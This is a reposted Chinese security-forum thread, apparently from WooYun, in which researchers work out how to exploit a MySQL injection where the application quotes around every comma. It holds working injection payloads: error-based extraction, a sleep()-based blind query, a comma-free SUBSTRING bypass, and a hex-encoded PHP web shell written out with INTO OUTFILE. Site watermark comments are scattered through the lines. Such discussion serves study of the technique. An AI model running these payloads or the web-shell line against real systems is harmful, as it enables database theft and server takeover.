安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > 一个有意思的SQL注入

一个有意思的SQL注入

时间:2014-08-11来源:WOOYUN 作者:xsjswt点击:
环境是这样的,有一套php程序,没有对参数做任何过滤,但是会在所有逗号的前后插入单引号,比如 提交:id=1 and 1=2 union select concat(1,2,3)

环境是这样的,有一套php程序,没有对参数做任何过滤,但是会在所有逗号的前后插入单引号,比如 
提交:id=1 and 1=2 union select concat(1,2,3) 
执行:select coun(*) from some_table where id=1 and 1=2 union select concat(1','2','3)  //安云网咨询系统
mysql执行出错的报错信息会反馈到客户端。 
但是因为select的是count(*),所以可以认为没有回显。  //copyright AnYun.ORG

那么这样的一个sql注入,应该怎么利用,来获取数据库里的数据呢(ascii半分法的请自动绕行)? 
球猥琐流解法。 

//copyright AnYun.ORG



为了降低难度,假设数据库中的所用表名,字段名事先都已经知晓了。 //本文来自安云网

PS: //内容来自安云网

//copyright AnYun.ORG

1#CCOz | 2013-07-29 18:59 //ANYUN.ORG

反正concat也是多个字符串之间的联合,不如这样:

//copyright AnYun.ORG

id=1 and 1=2 union select concat('1,2,3')  //本文来自安云网

select coun(*) from some_table where id=1 and 1=2 union select concat('1','2','3')

//内容来自安云网

  //内容来自安云网

2#落叶纷飞 | 2013-07-29 21:18 //ANYUN.ORG

id=1 and 1=2 union select concat(1%2b'b,a'%2b2%2b'b,a'%2b3) //copyright AnYun.ORG

select coun(*) from some_table where id=1 and 1=2 union select concat(1+'b','a'+2+'b','a'+3)

//ANYUN.ORG

  //安云网咨询系统

3#0x0F | 2013-07-29 21:34

//安云网咨询系统

不用逗号的注入,你懂 //ANYUN.ORG

  //安云网咨询系统

4#Hello_C | 2013-07-30 08:41

//copyright AnYun.ORG

@0x0F">0x0F 如何不用逗号注入  求解

//内容来自AnYun.ORG

 

//本文来自安云网

5#感谢(1)xsjswt | 2013-07-30 11:24 //本文来自安云网

@Hello_C @0x0F">0x0F @落叶纷飞 @CCOz 想到一个方法,但是只能报出很少量的,而且得是小数据 //内容来自AnYun.ORG

提交:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0,0'+floor(rand(0)*2))x from information_schema.tables group by x)a); //安云网,anyun.org

执行:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0','0'+floor(rand(0)*2))x from information_schema.tables group by x)a); //copyright AnYun.ORG

报错:#1062 - Duplicate entry '1.79769313486232e+3082' for key 'group_key' //ANYUN.ORG

这个数据就太大了,用乘幂来表示,失去意义了。不过,可以除以100000000000慢慢来 //copyright AnYun.ORG

  //内容来自安云网

6#感谢(1)xsjswt | 2013-07-30 11:28

//ANYUN.ORG

刚才又试了一下,mysql的power函数算不到10^3000次方,悲剧了。这样是继续二分法的节奏么

//copyright AnYun.ORG

 

//copyright AnYun.ORG

7#感谢(1)xsjswt | 2013-07-30 11:35 //copyright AnYun.ORG

对于数值型的字段,可以hex(left(column_name+'','2')),但是字符型的就没办法了 //内容来自安云网

 

//内容来自安云网

8#applychen | 2013-07-30 19:22 //安云网咨询系统

'or column_name like '%_%'#

//内容来自安云网

  //安云网咨询系统

9#感谢(1)xsjswt | 2013-07-31 07:41 //安云网,anyun.org

@applychen 注入没有回显,是一个select sum(xxx) from xxx where id=xxx

//内容来自AnYun.ORG

  //安云网咨询系统

10#applychen | 2013-07-31 13:20

//ANYUN.ORG

@xsjswt 没回显的话那就延迟注射吧 //本文来自安云网

'and (select sleep(3) from(select column_name from table_name limit 1)a where column_name like '%_%'); //安云网咨询系统

 

//安云网,anyun.org

11#感谢(1)xsjswt | 2013-07-31 16:55 //ANYUN.ORG

@applychen 还不如半分法慢慢猜数据。注入的目标是拿到数据库里面的数据。 //copyright AnYun.ORG

 

//内容来自AnYun.ORG

12#齐迹 | 2013-07-31 17:06

//ANYUN.ORG

@xsjswt 可以用mysql的substring方法  一段一段的取出来 //安云网咨询系统

  //本文来自安云网

13#感谢(1)xsjswt | 2013-07-31 17:07 //本文来自安云网

@齐迹 substring有逗号,我想了很久没想到怎么拼逗号 //安云网咨询系统

 

//copyright AnYun.ORG

14#感谢(1)xsjswt | 2013-07-31 17:09

//内容来自AnYun.ORG

@齐迹 如果mysql支持问号表达式,这个就很容易解决。

//内容来自AnYun.ORG

提交substring(col_name is not null ? col_name : '0,'1,1')

//copyright AnYun.ORG

就OK,无奈没有 //内容来自安云网

 

//本文来自安云网

15#感谢(1)xsjswt | 2013-07-31 17:14 //ANYUN.ORG

@xsjswt mysql的if要用括号包起来,case要以end结束,都闭合不掉逗号引入的单引号

//内容来自AnYun.ORG

 

//本文来自安云网

16#_Evil | 2013-07-31 18:01

//copyright AnYun.ORG

@xsjswt 看来你研究Mysql蛮深入的,我膜拜一下 //内容来自AnYun.ORG

  //本文来自安云网

17#3c0de | 2013-07-31 22:01

//copyright AnYun.ORG

@xsjswt 

//内容来自安云网

你這部分怎沒被加上單引號! //ANYUN.ORG

select count(*),concat

//ANYUN.ORG


//安云网咨询系统

應該會變成這樣吧

//内容来自安云网

select count(*)',concat //安云网,anyun.org


//内容来自AnYun.ORG


//内容来自AnYun.ORG

#5的SQL //内容来自AnYun.ORG


//本文来自安云网


//安云网咨询系统


//内容来自AnYun.ORG

不是在逗點前+上單引號嗎?

//本文来自安云网

 

//内容来自AnYun.ORG

18#applychen | 2013-07-31 22:24

//本文来自安云网

@xsjswt 求个半分法注入绕过语句……

//ANYUN.ORG

  //安云网,anyun.org

19#感谢(1)xsjswt | 2013-08-01 09:46

//copyright AnYun.ORG

@3c0de 会的,所以很苦恼 //copyright AnYun.ORG

  //安云网,anyun.org

20#感谢(1)xsjswt | 2013-08-01 09:47

//安云网,anyun.org

@applychen and (select hex(col_name) from xxx where col_name not in ('known_val1,known_val2,....,known_valN') > 0x1234678 limit 1 //安云网咨询系统

 

//内容来自AnYun.ORG

21#_Evil | 2013-08-01 15:48

//内容来自安云网

@xsjswt 的确很苦恼. @GaRY php领主大人有方法么 //ANYUN.ORG

 

//本文来自安云网

22#_Evil | 2013-08-01 15:49 //安云网,anyun.org

@3c0de  Wooyun私信PM你了 //安云网咨询系统

  //内容来自安云网

23#kimdle | 2013-08-01 21:25 //安云网咨询系统

果然很奇葩的注入啊/// //copyright AnYun.ORG

 

//内容来自AnYun.ORG

24#乌帽子 | 2013-08-03 15:52

//安云网,anyun.org

ecshop吗

//安云网咨询系统

  //安云网咨询系统

25#江南的鱼 | 2013-08-06 18:36 //安云网咨询系统

过滤了特殊字符 <?()[]  要不然又root权限,还是能导出shell的! //本文来自安云网

 

//安云网,anyun.org

26#感谢(1)xsjswt | 2013-08-06 18:53

//内容来自安云网

@江南的鱼 那种奇葩的windows下system的mysql,而且mysql和web同一个机器的情况太少见了。

//安云网,anyun.org

 

//本文来自安云网

27#江南的鱼 | 2013-08-07 00:14

//安云网,anyun.org

如果满足 爆出路径 ,mysql又是root权限, //ANYUN.ORG

那么就用: 

//copyright AnYun.ORG


//copyright AnYun.ORG

')union select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'c:/99999.php'#

//内容来自安云网

  //安云网咨询系统

28#0x0F | 2013-08-07 00:56

//安云网,anyun.org

用join,不用逗号注入 //安云网咨询系统

 

//安云网,anyun.org

29#江南的鱼 | 2013-08-07 01:26

//ANYUN.ORG

楼上的 给出代码 //内容来自安云网

  //内容来自安云网

30#感谢(1)回复此人 | 2013-08-07 10:08 //安云网咨询系统

@江南的鱼 @0x0F">0x0F +1,join在这个场景确实是无法利用的 //安云网咨询系统

 

//ANYUN.ORG

31#Joker | 2013-08-29 05:07

//内容来自安云网

单引号可以闭合吧?用extractvalue不行? //安云网咨询系统

  //copyright AnYun.ORG

32#Chora | 2013-12-01 19:47

//ANYUN.ORG

楼上正解。

//安云网咨询系统

 

//安云网,anyun.org

33#z@cx | 2013-12-01 21:32 //内容来自AnYun.ORG

遇到个IDS系统,对#号进行过滤,有木有解决办法额

//内容来自AnYun.ORG

  //内容来自AnYun.ORG

34#/fd | 2014-02-27 19:35 //本文来自安云网

@xsjswt MYSQL支援沒逗號的substring

//安云网咨询系统


//copyright AnYun.ORG

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring //ANYUN.ORG


//本文来自安云网

SUBSTRING(str FROM pos FOR len)

//ANYUN.ORG

 

//安云网,anyun.org

35#retanoj | 2014-02-27 21:41 //copyright AnYun.ORG

话说..就算用substring,sql查到的结果不应该是两条记录么? 一条是前半句查的,后一条是union select查到的?那PHP只处理前一条记录,还是根据情况判断呢?

//本文来自安云网



//内容来自AnYun.ORG

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容